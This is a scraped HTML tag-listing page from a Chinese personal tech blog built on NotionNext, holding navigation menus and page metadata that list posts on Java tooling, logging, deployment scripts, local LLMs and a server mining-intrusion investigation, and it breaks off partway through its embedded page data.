class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%97%A5%E5%BF%97/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%97%A5%E5%BF%97/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 